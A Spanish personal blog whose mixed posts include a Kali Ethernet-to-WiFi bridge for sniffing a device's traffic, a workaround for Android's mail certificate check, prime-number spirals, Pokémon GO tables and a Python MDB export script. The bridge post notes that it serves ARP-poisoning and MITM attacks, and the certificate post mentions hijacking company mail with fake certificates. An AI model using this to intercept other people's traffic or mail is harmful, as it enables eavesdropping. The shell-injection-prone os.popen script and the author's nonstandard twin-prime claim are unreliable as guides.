El blog de ZoSemU?

Conexión de puente entre Ethernet y Wifi

2018-07-28T09:51:00.003-07:00

Recientemente por cuestiones de estudio, tuve la necesidad de conectar un equipo a una computadora vía ethernet y luego suministrarle internet vía Wifi, la razón, estudiar el comportamiento de este equipo mediante un sniffer, aunque intenté con ARP-Poison, la verdad es que los resultados no eran del todo satisfactorios, supongo que por tratarse de un equipo muy limitado, como sea, aunque parecía una tarea sencilla y tenía una idea clara de como hacerlo, al final se me terminó complicando un poco, sin embargo buscando info en la red, pude armar una solución adecuada. Por lo que a modo de repaso lo voy a dejar aquí, quizá alguien más sienta curiosidad de hacer algo semejante (jeje).

Ingredientes:

1 laptop (preferentemente, aunque puede usarse una all-in-one o una PC)
1 equipo que funcione mediante ethernet (puede ser otra PC o incluso un switch con muchas PCs)
1 distribución Linux (yo use Kali, pero pueden usar el sabor que más les guste)

Como en este caso Kali está basado en Debian, pues usaré apt-get para actualizar los repositorios e instalar lo necesario, pero básicamente funciona igual para otras distros, de cualquier forma si tienen dudas pueden dejar un comentario o twittear.

Preparación:

# apt-get update
# apt-get install -y isc-dhcp-server bridge-utils

Una vez instalados los paquetes, necesitamos habilitar el enrutamiento, esto es lo que verdaderamente es necesario para cualquier tipo de conexión de puente, para ARP-Poison o para otro tipo de ataques MITM. También activo el enmascaramiento de paquetes del firewall.

# echo "1" > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

Lo siguiente es editar la configuración de las tarjetas de red, aquí use otro segmento completamente diferente para es poner otra IP para el puente y la asignación de IPs:

# nano /etc/network/interfaces
auto lo
    iface lo inet loopback

auto wlan0
    iface inet dhcp

auto br0
    iface br0 inet static
    address 13.0.0.1
    netmask 255.255.255.0
    bridge_ports eth0
    bridge_fd 0
    bridge_maxwait 0

auto eth0
    iface eth0 inet static
    address 13.0.0.2
    netmask 255.255.255.0
    broadcast 13.0.0.255
    gateway 13.0.0.1

Ahora toca configurar un servidor de DHCP de manera básica, aunque aquí pueden ser todo lo ingeniosos que quieran XD!!.

# nano /etc/dhcp/dhcpd.conf
subnet 13.0.0.0 netmask 255.255.255.0 {
    option domain-name "h4x0r.net";
    range 13.0.0.3 13.0.0.100;
    option domain-name-servers 8.8.8.8, 8.8.4.4;
    option routers 13.0.0.1;
}

host dhcp-client {
  hardware ethernet 00:00:00:xx:xx:xx;
  fixed-address 13.0.0.101;
}

Ahora reiniciamos el servicio de red:

# service networking restart

Hecho lo anterior toca activar la ruta por defecto de los paquetes, suponiendo que tengamos la IP 192.168.1.20 para nuestra tarjeta Wifi, entonces:

# ip route add default via 192.168.1.20

Por último levantamos activamos y reiniciamos el servidor DHCP, para poner todo a trabajar:

# systemctl enable isc-dhcp-server
# systemctl restart isc-dhcp-server

Y ahora a interceptar paquetes con lo que quieran, a mi particularmente me gusta usar Wireshark, pero en gustos se rompen géneros, SaluDoS!!

Espirales de Ulam, la belleza de los números primos.

2017-08-04T13:36:00.000-07:00

Siempre he creído que hay un fantasma en Google que de alguna extraña forma, me lleva a no abandonar mi interés por los números primos. Está presencia por llamarla de alguna manera, recientemente me condujo a las espirales de Ulam, la importancia que tienen estás, radica en que permite apreciar una patrón de los números primos a apilarse en diagonales, muchas de las cuales son más marcadas (densas) que otras, veamos un ejemplo sencillo para explicar de qué va esto:

los números que están encerrados en un círculo, representan números primos, no importa si deseamos cambiar el sentido de la matriz, es decir iniciar hacia la izquierda, arriba o abajo:

la imagen demuestra que no importa el sentido de la espiral, los números se alinean de la misma forma, por lo que decidí adaptar el código de Juan Pablo Escalona, para generar matrices de caracol para usarlo en Python:

una vez adaptado y funcionando lo combiné con mi generador de números primos, un poco de PIL para pintar los números, aunque quizá en algún otro momento liberé ambos scripts, por ahora no lo haré, pero les dejo una de captura de pantalla de los resultados...

hice un par de ejercicios, en un primer momento construí una matriz de 999 x 999, luego fui más ambicioso y construí la matriz de 3161, ambas son igualmente hermosas y nos regalan una fascinante vista de estos escurridizos números, mientras analizaba la imagen obtenida haciendo zoom sobre ella, algo llamo mi atención, quizá esa cosa que tienen nuestros cerebros de encontrar formas, pero me pareció algo semejante a una ciudad, oculta en un cuadrante lejano al origen, por lo que me he propuesto para otro momento averiguar que números son específicamente, pero eso ya es otra historia y quizá sólo es un capricho mío...

Los números primos gemelos merecen un capítulo aparte pues son aun más escurridizos que los números primos, estos tienen la singularidad de estar separados entre sí a penas por dos números, y, aunque la mayoría de los matemáticos sostienen hasta ahora que la primer pareja de primos está formada por 3 y 5, yo difiero de esto, pues en realidad todos los primos gemelos encajan en el patrón [G1 mod 3 = 2], [G2 mod 3 = 1], además de pertenecer a la forma [(G1 + G2) mod 4 = 0], por lo que es un error desde mi humilde perspectiva creer que 3 y 5 sean gemelos, ya que no cumplen estás reglas, por lo que deberían establecer la primer pareja de gemelos como 5 y 7; como sea para apreciar mejor la distribución de los primos gemelos, también hice un pequeño experimento pintando de negro todos los números primos en las matrices y de rojo los primos gemelos, es evidente que estos aparecerán en líneas verticales y horizontales ya que no viajan solos (por decirlo de alguna manera jeje).

Mi postulado respecto a los primos gemelos y la forma que tienen referente al módulo de 3 se puede apreciar también en las imágenes además de comprobar que la distancia mínima entre una pareja de gemelos y la siguiente es de mínimo 6 unidades y siempre existe una distancia en múltiplos de 6 entre estás, ejemplo: [(5,7), (11,13), (17,19), (29,31)] distancias [6,6,12].

Como parte de mis investigaciones sobre los números primos he observado algo que llamo familias de números primos gemelos, es decir bloques enteros en los que los números primos gemelos son consecutivos entre sí, entre uno y diez millones existen sólo 439 de estás familias por lo que si ponen atención en una de las imágenes en dos colores podrán apreciar este fenómeno como una pequeña línea roja vertical u horizontal, las más comunes son aquellas que poseen seis miembros, es decir tres pares de primos gemelos consecutivos, la primera de estás familias es [179, 181, 191, 193, 197, 199], de estás hay 401 familias, 35 con 8 miembros y a penas 3 con 10 miembros, pero como esto es casi como buscar una aguja en un pajar (XD!!), decidí agregar una espiral más en donde pinté las familias de 6 miembros de color rojo, las de 8 de color verde y las de 10 de color azul...

Finalmente dejo aquí abajo las imágenes de las que tanto he estado hablando, si alguien quiere publicarlas en otro sitio, agradecería me incluyeran en los créditos, también pueden dejar comentarios respecto a su opinión de lo que les recuerda, yo he estado pensando cosas tan disparatadas como códigos QR o The Game of Life, hasta vistas aéreas de ciudades antiguas, los exploradores de los antiguos astronautas dicen que sí!!

SaluDoS!!!

La matriz de 999 x 999 en negro

La matriz de 999 x 999 con primos en rojo

Por si quieren descargar las otras espirales, las pongo aquí porque no me deja subir imágenes tan grandes jeje.

Problemas con Google Drive en Windows Server

2017-04-18T11:29:00.000-07:00

Recientemente tuve la necesidad de sincronizar ciertos archivos con un servidor de Windows, sin embargo por más que hacia no pasaba del verificando la cuenta, espere...

Luego de investigar y hacer mil madres, incluidos los cambios de seguridad etc:

Foro de Google 1

Foro de Google 2

Incluso intente clonar la sesión jeje, cosa que logre parcialmente y quizá con un poco más de tiempo habría encontrado un modo completo de hacerlo (nota mental para mi, do it!!!), en fin al final luego de hacer de todo sin resultados, volví a tomar aire y comprobar el log del maldito Google Drive, que se encuentra en la ruta :

"C:\Users\TU_USUARIO\AppData\Local\Google\Drive\user_default\sync_log.log"

Como pensé que el error podría tratarse de algún tipo de nimiedad, decidí mandar a la chingada ese archivo (paso previo hay que cerrar la aplicación), al volver a ejecutar la aplicación me encontré con una ruta muy interesante:

"https://accounts.youtube.com/accounts/CheckConnection?"

Entonces, los señores de Google echan mano del fuking youtube para hacer comprobaciones de seguridad, en fin... eso resolvió el misterio debido a que el firewall bloqueaba por defecto dicho dominio, así que una vez hecho el cambio en el firewall, lo siguiente fue limpiar la cache de DNSs, tirar un ping, por último y no menos importante, en la configuración de Internet, en sitios de confianza agregar:

https://*.youtube.com

https://*.google.com

y listo SaluDoS!!!

Bypass a la seguridad de cuentas de correo en Android (certificados)

2016-12-12T11:36:00.002-08:00

Con la reciente actualización de Android, las opciones para configurar los certificados de confianza de nuestra cuenta de correo parecen "no existir", dejando imposibilitado a un usuario el poder agregar una cuenta de dominio con "ciertos parámetros", aunque por una parte esta medida contribuya a mejorar la seguridad de los usuarios, también puede ser un problema para aquellos que contamos con un certificado "válido" emitido por nosotros mismos, o quienes tienen un servicio de hosting contratado con su dominio propio pero el servicio de correo es a través de un servidor distinto, en cuyo caso aunque el servidor de correo en cuestión, tenga un certificado válido, será válido únicamente para el dominio del servidor de correo, pero no para los subdominios personalizados de otras empresas...

Aunque las buenas practicas deberían incluir nuestro propio certificado de correo, la verdad es que la mayoría de las empresas que conozco difícilmente invierten en tal cosa, por lo que nos resta sólo una opción y esa es usar el ingenio para bypassear la "seguridad" de nuestro dispositivo.

Mención a parte es el uso de certificados "falsos" para obtener el control de los correos del servidor de una compañía mediante un redirect, pero no me quiero enrrollar con esa parte...

Vamos al ejemplo...

hasta aquí todo normal...

aquí ya nos mandó el error para advertirnos que el certificado y el dominio no coinciden y darnos una explicación al respecto (bla bla bla), lo importante de esto es lo siguiente:

nos muestra el dominio real del servidor de correos, ahora con este dato vamos a inyectar la configuración, asegúrense de usar una contraseña falsa para que nos mande un error y no se registre su contraseña verdadera XD!!!

creo que ya con esto, queda clara la intención de a donde vamos, pero, lo explico un poco, el servidor de correo que tiene este dominio usa un certificado para validar el dominio principal, es decir "*.servwingu.mx", aunque cada uno de los servidores de correo use un subdominio; podríamos averiguar a cual de los subdominios está ligado concretamente nuestro dominio y apuntar a ese servidor en particular para realizar la validación, es decir, suponiendo que, nuestro dominio fuera zosemu.com.mx y se resolviera con la misma IP que mailx1.servwingu.mx, entonces podría apuntar directamente a este dominio (o IP) para acceder a mis cuentas de correo, pero el asunto es que si el proveedor cambia el DNS, o el servidor en donde se encuentran nuestras cuentas de correo, podríamos quedar sin servicio de correo por un tiempo, al menos en lo que descubrimos cual es la nueva IP y realizamos cambios, para mantener esa coherencia, nuestros queridos proveedores de hosting se encargan de esas resoluciones de dominio usando una ruta del tipo mail.zosemu.com que apunta a la IP donde se encuentra el servidor de correo [que no necesariamente tiene que ser el mismo donde se hospeda su sitio]. Sin embargo (luego de tanto rollo), existen dos posibilidades, primera nuestra cuenta no estará activa en el dominio principal para el cual está firmado el certificado, en otras palabras es un servidor valido que reconoce nuestro dominio, sin embargo no reconocerá el servicio, lo cual provocará un error de autenticación; segunda aunque el dominio principal sea capaz de autenticarnos, les dije que pusieran un pass fake XD, lo que provocará un error de autenticación, entonces habremos conseguido el cometido principal, provocar un error en un nivel que no interfiera con los niveles de seguridad de Android. En otras palabras nuestro querido Android pensará (y sí, piensa y mucho más que muchos que conozco) que necesitamos un nivel de configuración adicional y voilà:

Ahora ponemos nuestros queridos y amados datos reales y listo...

P.D.

Aunque soy el principal promotor de Android, tal parece que cada vez el sistema es más "amigable" con los riesgos que esto implica, nunca olviden que la comodidad siempre tiene su precio....

SaluDoS!!

Pokémon GO y la belleza matemática oculta

2016-11-24T06:00:00.000-08:00

Si bien es cierto me inicie en el juego como parte de la novedad y cautivado por los simpáticos monstruos que otrora llenaban los espacios televisivos, y, con los que crecí aprendiendo que lo importante en una liga no es ganar sino rifarse un tiro con cada maestro de gimnasio posible, en otras palabras a ser belicoso de a madres aunque no ganara nada con ello (jeje). Luego de un rato de vagar un rato por mi ciudad atrapando criaturas aquí y allá, comencé a preguntarme sobre los aspectos técnicos del juego, algunas cosas como atrapar ciertos bichos de esos en un cierto lugar y a una cierta hora me dio a pensar que quizá fuera posible la existencia de un algoritmo de distribución de las criaturas, por lo que, sería posible descifrar cuando aparecería otro de cierta especie?

Pronto me vi sumergido en un mundo de matemáticas, desde el simple hecho de calcular una buena parabola para obtener puntos de experiencia adicionales por una bola curva, hasta cosas muy complejas como el cálculo de los IVs e IVPCs (Valores Internos y Valores Internos por Puntos de Combate, respectivamente) de un Pokémon, trazo de vectores para calcular la mejor ruta de una caminata a fin de visitar la mayor cantidad de poképaradas, etc.

Aunque simple en su modo de juego, la realidad es que Niantic ha hecho de la matemática su motor de impulso y lo ha llevado a otro nivel, la inclusión del Machine Learning en sus algoritmos de juego para detectar bots u otras herramientas claramente no permitidas, han hecho que el juego se mantenga coherente para miles de fans en todo el mundo y accesible para aquellos que van iniciando.

La verdadera estrategia de Niantic es sin embargo el cambio, y aquello que permite el cambio rápido es precisamente su fundamento numérico, para ello voy a dar un ejemplo sencillo, en la última actualización de la API, Niantic actualizó la tabla de puntos máximos de cada Pokémon, sin embargo para que no hubiese queja se actualizaron los CP de ca Pokémon capturado, y, aunque a muchos no les hizo gracia pues algunas de las criaturas tuvieron un cambio positivo considerable, otras disminuyeron, pero dicho cambio obedece a la lógica un cambio previo en favor de fomentar la competencia por los gimnasios y las recompensas de los mismos; por otra parte parece lógico que los niveles se ajustaron como un paso previo para futuras actualizaciones, según las cuales se podrá luchar en modo duelo sin necesidad de gimnasios, y la tan esperada liberación de los Pokémones legendarios.

Conozco a muchos que piensan que sólo se trata de un juego más, sin embargo, la cantidad de matemáticas implicadas en cada proceso, desde la mutación de los algoritmos para la distribución pseudoaleatoria de las criaturas, el machine learning usado para detectar comportamientos probables en los jugadores, hasta la determinación del mejor Pokémon a usar en una batalla, demuestran que aquello que lo hace simple, es precisamente la lógica matématica implicita en la base del juego.

Sea cual sea el rumbo que tome este juego no podía menos que dedicar una entrada en el blog, pues me parece que la fiebre ya se les pasó a muchos, pero hay juego para un buen rato. Por si alguno tiene dudas de los porcentajes de cambio, les dejo la tabla completa para los fines que mejor convengan.

SaluDoS!!!

#	Pokemon	CP MAX	Cambio	NVO CP MAX	LV
1	Bulbasaur	1072	-8.39	982	PRO
2	Ivysaur	1632	-4.91	1552	PRO
3	Venusaur	2580	-0.47	2568	PRO
4	Charmander	955	-12.97	831	PRO
5	Charmeleon	1557	-4.72	1484	PRO
6	Charizard	2602	3.24	2686	PRO
7	Squirtle	1009	-19.83	809	MASTER
8	Wartortle	1583	-16.34	1324	MASTER
9	Blastoise	2542	-9.84	2292	MASTER
10	Caterpie	444	-11.36	394	ENDURANCE
11	Metapod	478	-12.21	420	ENDURANCE
12	Butterfree	1455	16.96	1702	ENDURANCE
13	Weedle	449	-11.54	397	ENDURANCE
14	Kakuna	485	-19.16	392	ENDURANCE
15	Beedrill	1440	23.45	1778	ENDURANCE
16	Pidgey	680	-14.59	581	ENDURANCE
17	Pidgeotto	1224	-11.3	1086	ENDURANCE
18	Pidgeot	2091	-4.63	1994	ENDURANCE
19	Rattata	582	1.17	589	ENDURANCE
20	Raticate	1444	7.31	1550	ENDURANCE
21	Spearow	687	-1.87	674	ENDURANCE
22	Fearow	1746	3.91	1814	ENDURANCE
23	Ekans	824	-5.53	778	ENDURANCE
24	Arbok	1767	-1.69	1737	ENDURANCE
25	Pikachu	888	-11.27	788	MASTER
26	Raichu	2028	-0.16	2025	MASTER
27	Sandshrew	799	49.55	1195	MASTER
28	Sandslash	1810	28.61	2328	MASTER
29	Nidoran♀	876	-15.95	736	MASTER
30	Nidorina	1405	-13.23	1219	MASTER
31	Nidoqueen	2485	-5.91	2338	MASTER
32	Nidoran♂	843	-12.28	739	MASTER
33	Nidorino	1373	-8.76	1253	MASTER
34	Nidoking	2475	-3.58	2386	MASTER
35	Clefairy	1201	-9.59	1086	MASTER
36	Clefable	2398	-1.83	2354	MASTER
37	Vulpix	831	-6.9	774	MASTER
38	Ninetales	2188	-1.39	2158	MASTER
39	Jigglypuff	918	-22.26	714	ENDURANCE
40	Wigglytuff	2177	-12.44	1906	ENDURANCE
41	Zubat	643	-11.42	570	ENDURANCE
42	Golbat	1921	-4.75	1830	ENDURANCE
43	Oddish	1148	-6.86	1069	MASTER
44	Gloom	1689	-10.45	1512	MASTER
45	Vileplume	2493	-5	2368	MASTER
46	Paras	917	-8.78	836	ENDURANCE
47	Parasect	1747	-5.13	1657	ENDURANCE
48	Venonat	1029	-12.31	902	ENDURANCE
49	Venomoth	1890	2.51	1937	ENDURANCE
50	Diglett	457	1.81	465	LOL
51	Dugtrio	1169	14.15	1334	LOL
52	Meowth	756	-15.62	638	ENDURANCE
53	Persian	1632	-5.63	1540	ENDURANCE
54	Psyduck	1110	-12.87	967	MASTER
55	Golduck	2387	-4.85	2271	MASTER
56	Mankey	879	14.05	1002	MASTER
57	Primeape	1865	12.92	2106	MASTER
58	Growlithe	1335	-16.79	1111	PRO
59	Arcanine	2984	-4.84	2840	PRO
60	Poliwag	796	-12.62	696	MASTER
61	Poliwhirl	1340	-2.03	1313	MASTER
62	Poliwrath	2505	-2.53	2442	MASTER
63	Abra	600	91.31	1148	PRO
64	Kadabra	1132	64.31	1860	PRO
65	Alakazam	1814	59.18	2888	PRO
66	Machop	1090	10.09	1200	PRO
67	Machoke	1761	8.49	1911	PRO
68	Machamp	2594	11.38	2889	PRO
69	Bellsprout	1117	-17.96	916	MASTER
70	Weepinbell	1724	-14.43	1475	MASTER
71	Victreebel	2531	-10.34	2269	MASTER
72	Tentacool	905	5.72	957	MASTER
73	Tentacruel	2220	6.92	2374	MASTER
74	Geodude	849	40.55	1193	ENDURANCE
75	Graveler	1434	26.65	1816	PRO
76	Golem	2303	26.64	2917	PRO
77	Ponyta	1516	-0.91	1502	MASTER
78	Rapidash	2199	2.42	2252	MASTER
79	Slowpoke	1219	-1.2	1204	MASTER
80	Slowbro	2597	-4.43	2482	MASTER
81	Magnemite	891	21.69	1084	MASTER
82	Magneton	1880	19.01	2237	MASTER
83	Farfetch'd	1264	-13.58	1092	LOL
84	Doduo	855	18.19	1011	MASTER
85	Dodrio	1836	16.47	2138	MASTER
86	Seel	1107	-18.76	899	ENDURANCE
87	Dewgong	2146	-11.7	1895	ENDURANCE
88	Grimer	1284	-1.1	1270	PRO
89	Muk	2603	4.09	2709	PRO
90	Shellder	823	16.48	959	MASTER
91	Cloyster	2053	20.57	2475	MASTER
92	Gastly	804	24.61	1002	ENDURANCE
93	Haunter	1380	24.37	1716	ENDURANCE
94	Gengar	2078	26.03	2619	PRO
95	Onix	857	16.93	1002	LOL
96	Drowzee	1075	-7.67	993	MASTER
97	Hypno	2184	-6.21	2048	MASTER
98	Krabby	792	75	1386	PRO
99	Kingler	1823	47.8	2694	PRO
100	Voltorb	840	2.1	858	ENDURANCE
101	Electrode	1646	15.44	1900	ENDURANCE
102	Exeggcute	1100	0.22	1102	PRO
103	Exeggutor	2955	-1.29	2917	PRO
104	Cubone	1007	-6.27	944	ENDURANCE
105	Marowak	1657	2.11	1692	ENDURANCE
106	Hitmonlee	1493	61.19	2407	MASTER
107	Hitmonchan	1517	38.41	2100	MASTER
108	Lickitung	1627	-18.7	1323	LOL
109	Koffing	1152	-5.24	1092	MASTER
110	Weezing	2250	-2.95	2184	MASTER
111	Rhyhorn	1182	42.09	1680	ELITE
112	Rhydon	2243	47.15	3301	ELITE
113	Chansey	675	117.61	1469	LOL
114	Tangela	1740	26.96	2209	MASTER
115	Kangaskhan	2043	20.56	2463	MASTER
116	Horsea	795	15.97	922	ENDURANCE
117	Seadra	1713	15.56	1980	ENDURANCE
118	Goldeen	965	4.34	1007	MASTER
119	Seaking	2044	-0.15	2041	MASTER
120	Staryu	938	-1.21	927	MASTER
121	Starmie	2182	5.55	2303	MASTER
122	Mr. Mime	1494	32.79	1984	ENDURANCE
123	Scyther	2074	18.82	2464	MASTER
124	Jynx	1717	46.34	2513	PRO
125	Electabuzz	2119	3.65	2196	MASTER
126	Magmar	2265	-0.47	2254	MASTER
127	Pinsir	2122	30.57	2771	PRO
128	Tauros	1845	34.88	2489	MASTER
129	Magikarp	263	-16.08	221	ELITE
130	Gyarados	2689	22.03	3281	ELITE
131	Lapras	2981	0	2981	PRO
132	Ditto	920	-21.91	718	LOL
133	Eevee	1077	-10.04	969	ELITE
134	Vaporeon	2816	12.11	3157	ELITE
135	Jolteon	2140	27.56	2730	PRO
136	Flareon	2643	9.89	2904	PRO
137	Porygon	1692	-7.31	1568	ENDURANCE
138	Omanyte	1120	20.18	1346	PRO
139	Omastar	2234	20.23	2686	PRO
140	Kabuto	1105	6.18	1173	PRO
141	Kabutops	2130	18.21	2518	PRO
142	Aerodactyl	2165	20.47	2608	PRO
143	Snorlax	3113	7.79	3356	ELITE
144	Articuno	2978	-1.5	2933	PRO
145	Zapdos	3114	6.93	3330	ELITE
146	Moltres	3240	1	3272	ELITE
147	Dratini	983	-12.5	860	ELITE
148	Dragonair	1748	-7.91	1610	ELITE
149	Dragonite	3500	2.33	3582	ELITE
150	Mewtwo	4145	14.85	4761	ELITE
151	Mew	3299	-6.31	3091	ELITE

Lo que oculta el video 01101101 01110101 01100101 01110010 01110101...

2015-11-02T08:28:00.001-08:00

Hace un par de días me contó el Cocoro del Mal sobre un vídeo que estaba rondando por la red, y, del cual no sabía como sentirse al respecto; como otros tantos vídeos que se vuelven virales por la red, lo había visto a través de un Youtuber (y que conste que me caga la palabra) quien se grabó a si mismo mientras lo observaba para compartir su reacción con el mundo...

Motivado por la curiosidad de averiguar de que se trataba el famoso vídeo, me di a la tarea de buscarlo en la red, en el inter, descubrí toda clase de teorías al respecto desde quienes aseguran que se trata de un psicópata confesando sus crímenes, hasta quien señala que se trata de una campaña publicitaria para el lanzamiento de una película; algunos de los títulos en los posts resultaban mucho más pretenciosos que otros, por ejemplo "El vídeo que al verlo podría matarte en menos de un año" en el que se puede leer como sentencia: "Especialistas en ciencia y tecnología aseguran que si una persona lo ve, podría morir en el lapso de un año."

En dicho post no menciona quienes son los "especialistas" ni en que se basan para hacer dicha afirmación.

Santo niño de antorcha, con su santísimo pantalón quemado!!! XD!!

Más allá del sarcasmo y dado que no creo morir en ese lapso de tiempo o al menos no consecuencia de haber visto el tan famoso video "ese" y, motivado por un espíritu de formarme mi propia opinión me di a la tarea de investigar más a fondo el video, sobre todo porque el nombre sugiere que alguien se empeño en ocultar algo en el vídeo y como buen criptologo aficionado siempre tengo a la mano la frase "lo que un hombre ha escondido, otro hombre puede encontrarlo...". Siguiendo esa línea ire actualizando cada semana (de ser posible) los descubrimientos que vayan saliendo a la luz durante ese tiempo, si usted no tiene algo mejor que hacer o le gusta lo paranormal, le sugiero que se mantenga al tanto...

Además puede ir consiguiendo algunas de las herramientas que mencionaré, quién sabe, a lo mejor usted un día tenga la necesidad de buscar algo...

Por cierto si usted quiere ver el video completo y dispone de un criterio amplio, aquí lo dejo...

Resumen:

Se trata de un vídeo en el que aparece un hombre vestido con una túnica negra usando una máscara de los tiempos de la peste negra en poses extrañas, durante las escenas se puede apreciar una sobreposición de vídeo, además el cambio de pose señala algún código, el sonido del vídeo sugiere que puede contener algún tipo de mensaje oculto en el espectro, inversión de audio y/o cambio de tono.

El tipo de simbología que se muestra en el vídeo hace clara referencia a la masonería, empezando por el ojo trazado en la pared (ojo de Horus), al centro del cual se aprecia la letra G (GADU o el Gran Arquitecto).

Nombre y descripción
El nombre y la descripción del vídeo se encuentran cifrados en binario por lo que podemos obtener el contenido rápidamente mediante un poco de código Python podemos obtener el primero mensaje:

Ok el vídeo nombrado "muerte", nos advierte "Te queda 1 año o menos..", la cosa se pone sería XD, hay mucha simbología en el vídeo y quién quiera que lo haya hecho se tomó muchas molestias; ya que al menos después de la primera vista puede ver cuatro distintos tipos de cifrado, unos más visibles que otros, además de técnicas estenográficas como la manipulación de audio, pues en mi experiencia ningún vídeo suena de esa manera a menos que haya sido alterado y sospecho de inserción de imagen en el espectro del audio.

Para ver si hay algo en el espectro del audio, lo primero que debemos hacer es descargar el vídeo de Youtube en la mejor calidad posible para poder estudiar a nuestro gusto el vídeo. Para ello podemos hacer uso de herramientas como JDownloader o el plugin Vídeo Download Helper para Firefox, una vez descargado vamos a aislar el sonido del vídeo para hacer el análisis por separado.

Para el análisis del audio me voy a servir de Audacity uno de mis mejores aliados desde hace ya algunos años, en lo que concierne a la edición de audio, una vez que tenemos el audio aislado lo vamos a exportar a formato WAV, finalmente para ver mejor el espectro recurriré a otra herramienta de Software Libre, en este caso baudline, como ya lo tengo compilado y en dentro de mi "/usr/bin/" bastara con que lo invoque desde una terminal, con el comando:

baudline ave.wav

En el espectro encontré 5 imágenes en apariencia, así que quizá ni siquiera la fecha de publicación del vídeo fue al azar, aún no puedo decir si se trata de una campaña publicitaria, pero me queda claro que por el momento hay muchas preguntas aún por responder y mucho más por descubrir, a modo de despedida de lo que considero será una de muchas partes les dejo las imágenes encontradas en el espectro sin filtro, ya veré si las pongo con filtro o no, pero por ahora la primera pregunta que me surge es, ¿Por qué si el título y la descripción están en Español, el primer mensaje está en Inglés?

SaluDoS!!!!

Publicar lo que escuchas en iTunes desde terminal (vía Python)

2014-04-16T07:51:00.000-07:00

Hace tiempo, subí un script para publicar información de la canción que se esta reproduciendo en Amarok usando Twitter, por aquellos días un amigo mío "Makuaz" (a quien le mando un saludo de paso) me preguntaba si habría una forma de hacer lo mismo o algo semejante desde una MAC, por cuestiones de trabajo (aunque "Sharka" y "Coder" sostengan lo contrario), he tenido que trabajar precisamente con una MAC y aunque hay formas de invocar Amarok, la verdad es que la interfaz no me convence del todo, así que siguiendo el adagio "si te dan limones, haz limonada", decidí averiguar si era posible obtener información de iTunes desde una terminal y luego subir la información mediante el script que ya usaba.

Para mi sorpresa al estar buscando la forma de hacerlo, descubrí osascript, que es una forma de invocar AppleScripts y OSA scripts, aunque en realidad existe un modulo de osascript que puede ser usado directamente desde Python, la verdad es que lo probé sin mucho éxito y decidí hacer uso del modulo "os" para invocar osascript.

Antes que nada para hacer funcionar el script debemos instalar el modulo Tweepy, lo cual se hace mediante el comando:

sudo pip install tweepy

Una vez instalado el modulo, sólo necesitarán seguir las instrucciones de mi post anterior, para conseguir un Token de acceso de Aplicación de Twitter, una vez conseguido nuestro Token, los valores se configuran en el archivo "twitter.cfg" y estamos listos para comenzar a compartir lo que escuchamos con el mundo desde nuestra sesión de Twitter.

Por cierto la nueva versión del script lo pueden descargar desde aquí.

SaluDoS!!!

Extraer datos de un archivo.mdb (Access) con python

2014-04-04T05:48:00.000-07:00

Luego de mucho tiempo fuera de línea, me decidí a escribir sobre algo que me pareció muy interesante, resulta que por azares del destino tuve que extraer la información de un archivo mdb y para colmo de males desde una MAC; al principio probé usar una herramienta llamada MDB Explorer, aunque su precio es accesible, la verdad es que me sentía un poco molesto de no poder hacerlo más a mi propio estilo, fue entonces que me puse a investigar como tener acceso al contenido de una base de datos de Access desde Python; encontré un par de librerías (pyodbc y pypyodbc, de las cuales sólo funcionó la segunda al menos en MAC), pero aún no estaba satisfecho, fue entonces que por otro azar del destino encontré un script que decía poder extraer el contenido de las tablas de una base de datos en formato CSV, luego de analizar el código de dicho script, me decidí a leer un poco más sobre el uso de la herramienta que en realidad hace el trabajo, fue así que descubrí mbd-tools, así que sin más fui al sitio de "MacPorts" y encontré que era posible instalar la suite de herramientas que contenía la herramienta necesaria para el fin que perseguía mediante:

sudo port install mdb-tools

Una vez instalada la suite de herramientas, probé sin éxito :( el script, pero como soy un tipo persistente, decidí hacerle un par de cambios, el resultado fue mi propia versión del script y que dejo aquí para aquellos que quieran hacer algún cambio.

Al mismo tiempo encontré otros usos interesantes para esta suite de herramientas, entre ellos:

mdb-sql -HFp -d ";" -i query.sql -o output.txt file.mdb

Que sirve para ejecutar una consulta SQL grabada en "query.sql" y verter el resultado de esa consulta en caso de ser necesario en "output.txt" desde nuestro archivo file.mdb.

SaluDoS!!!

#!/usr/bin/env python
#-*- encoding: utf-8 -*-

# This script use the mdb-tools for extract the MDB databases in .mdb files to CSV format,
# for MAC-OS, use "sudo port install mdb-tools" in another GNU/Linux OSs,
# consulte the documentation usually "sudo apt-get install", "sudo yum install" mdb-tools
# thanks to http://mazamascience.com/WorkingWithData/?p=168 by the original idea.
# Other interesting use: mdb-sql -HFp -d ";" -i query.sql -o output.txt file.mdb
# for execute a SQL query in .mdb files

__author__ = "ZoSemU?"
__mail__ = "zosemu@gmail.com"
__app_name__ = "Dump MDB"
__app_version__ = "1.0.0"
__original_idea__ = "http://mazamascience.com/WorkingWithData/?p=168"

import sys, os

def uso():
    print " ============================================================================== "
    print "|                         ", __app_name__, __app_version__, "by", __author__, "                          |"
    print " ============================================================================== "
    print "   [+] Usage: python ", sys.argv[0], "mdb_file.mdb"

def dump_data(mdb_file):
    # Get the list of table names
    tables = os.popen("mdb-tables -1 " + mdb_file).read().split("\n") 
    # Dump each table as a CSV"
    for table in tables:
        if table != '':
            filename = table.replace(" ","_") + ".csv"
            file = open(filename, 'w')
            print "Dumping", table
            contents = os.popen("mdb-export " + mdb_file + " " + table).read()
            file.write(contents)
            file.close()

if len(sys.argv) != 2:
    uso()
else:
    dump_data(sys.argv[1])

Cambios

2013-05-20T09:20:00.001-07:00

Antes que nada debo agradecer a aquellos amigos que siempre se han mantenido al tanto de mis publicaciones, en especial a mi siempre querida amiga y lectora Surpa.

El motivo del cambio de nombre y descripción del blog obedecen a una serie de cambios que han tenido lugar en mi vida, en este tiempo la vida me dio un par de reveses y estuve lejos no sólo del blog, sino también de conferencias, talleres y otros eventos; por tal motivo y luego de más de un año de luto, he decidido que es un momento de cambio, no se que deparé el futuro, pero los cambios se harán visibles, con este post cierro un capítulo importante de mi vida y comienzo con uno nuevo.

Definir cuáles serán los cambios me es difícil de precisar, sin embargo se que vendrán, porque ya me han estado alcanzando, así que sin más, les agradezco el haberme seguido hasta ahora y espero que su paciencia les alcance para lo que viene.

SaluDoS!!!!

Android: root or not root, this is the question...

2013-05-20T08:41:00.000-07:00

La idea de esté post surge de una pregunta que me hizo un camarada, agregaré las lineas recibidas en pos de que conozcan mejor los detalles:

- 22:55 Que beneficios tiene rootear tu telefono?

- 22:55 Es para convencer a una amiga!!!!

